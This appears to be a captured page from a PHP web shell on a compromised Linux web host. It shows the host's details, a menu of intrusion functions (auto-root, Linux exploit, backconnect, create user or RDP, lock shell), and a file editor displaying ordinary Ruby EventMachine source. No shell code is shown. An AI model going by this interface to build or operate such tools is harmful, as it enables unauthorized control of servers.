Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
em /
[ HOME SHELL ]
Name
Size
Permission
Action
deferrable
[ DIR ]
drwxr-xr-x
protocols
[ DIR ]
drwxr-xr-x
buftok.rb
2.13
KB
-rw-r--r--
callback.rb
2.14
KB
-rw-r--r--
channel.rb
1.53
KB
-rw-r--r--
completion.rb
9.71
KB
-rw-r--r--
connection.rb
33.41
KB
-rw-r--r--
deferrable.rb
7.8
KB
-rw-r--r--
file_watch.rb
2
KB
-rw-r--r--
future.rb
1.83
KB
-rw-r--r--
io_streamer.rb
1.86
KB
-rw-r--r--
iterator.rb
7.04
KB
-rw-r--r--
messages.rb
2.77
KB
-rw-r--r--
pool.rb
4.1
KB
-rw-r--r--
process_watch.rb
1.24
KB
-rw-r--r--
processes.rb
3.66
KB
-rw-r--r--
protocols.rb
1.5
KB
-rw-r--r--
pure_ruby.rb
34.87
KB
-rw-r--r--
queue.rb
2.06
KB
-rw-r--r--
resolver.rb
4.76
KB
-rw-r--r--
spawnable.rb
2.12
KB
-rw-r--r--
streamer.rb
3.59
KB
-rw-r--r--
threaded_resource.rb
2.8
KB
-rw-r--r--
tick_loop.rb
2.09
KB
-rw-r--r--
timers.rb
1.29
KB
-rw-r--r--
version.rb
50
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : processes.rb
#-- # # Author:: Francis Cianfrocca (gmail: blackhedd) # Homepage:: http://rubyeventmachine.com # Date:: 13 Dec 07 # # See EventMachine and EventMachine::Connection for documentation and # usage examples. # #---------------------------------------------------------------------------- # # Copyright (C) 2006-08 by Francis Cianfrocca. All Rights Reserved. # Gmail: blackhedd # # This program is free software; you can redistribute it and/or modify # it under the terms of either: 1) the GNU General Public License # as published by the Free Software Foundation; either version 2 of the # License, or (at your option) any later version; or 2) Ruby's License. # # See the file COPYING for complete licensing information. # #--------------------------------------------------------------------------- # # module EventMachine # EM::DeferrableChildProcess is a sugaring of a common use-case # involving EM::popen. # Call the #open method on EM::DeferrableChildProcess, passing # a command-string. #open immediately returns an EM::Deferrable # object. It also schedules the forking of a child process, which # will execute the command passed to #open. # When the forked child terminates, the Deferrable will be signalled # and execute its callbacks, passing the data that the child process # wrote to stdout. # class DeferrableChildProcess < EventMachine::Connection include EventMachine::Deferrable # @private def initialize super @data = [] end # Sugars a common use-case involving forked child processes. # #open takes a String argument containing an shell command # string (including arguments if desired). #open immediately # returns an EventMachine::Deferrable object, without blocking. # # It also invokes EventMachine#popen to run the passed-in # command in a forked child process. # # When the forked child terminates, the Deferrable that # #open calls its callbacks, passing the data returned # from the child process. # def self.open cmd EventMachine.popen( cmd, DeferrableChildProcess ) end # @private def receive_data data @data << data end # @private def unbind succeed( @data.join ) end end # @private class SystemCmd < EventMachine::Connection def initialize cb @cb = cb @output = [] end def receive_data data @output << data end def unbind @cb.call @output.join(''), get_status if @cb end end # EM::system is a simple wrapper for EM::popen. It is similar to Kernel::system, but requires a # single string argument for the command and performs no shell expansion. # # The block or proc passed to EM::system is called with two arguments: the output generated by the command, # and a Process::Status that contains information about the command's execution. # # EM.run{ # EM.system('ls'){ |output,status| puts output if status.exitstatus == 0 } # } # # You can also supply an additional proc to send some data to the process: # # EM.run{ # EM.system('sh', proc{ |process| # process.send_data("echo hello\n") # process.send_data("exit\n") # }, proc{ |out,status| # puts(out) # }) # } # # Like EventMachine.popen, EventMachine.system currently does not work on windows. # It returns the pid of the spawned process. def EventMachine::system cmd, *args, &cb cb ||= args.pop if args.last.is_a? Proc init = args.pop if args.last.is_a? Proc # merge remaining arguments into the command cmd = [cmd, *args] if args.any? EM.get_subprocess_pid(EM.popen(cmd, SystemCmd, cb) do |c| init[c] if init end.signature) end end
Close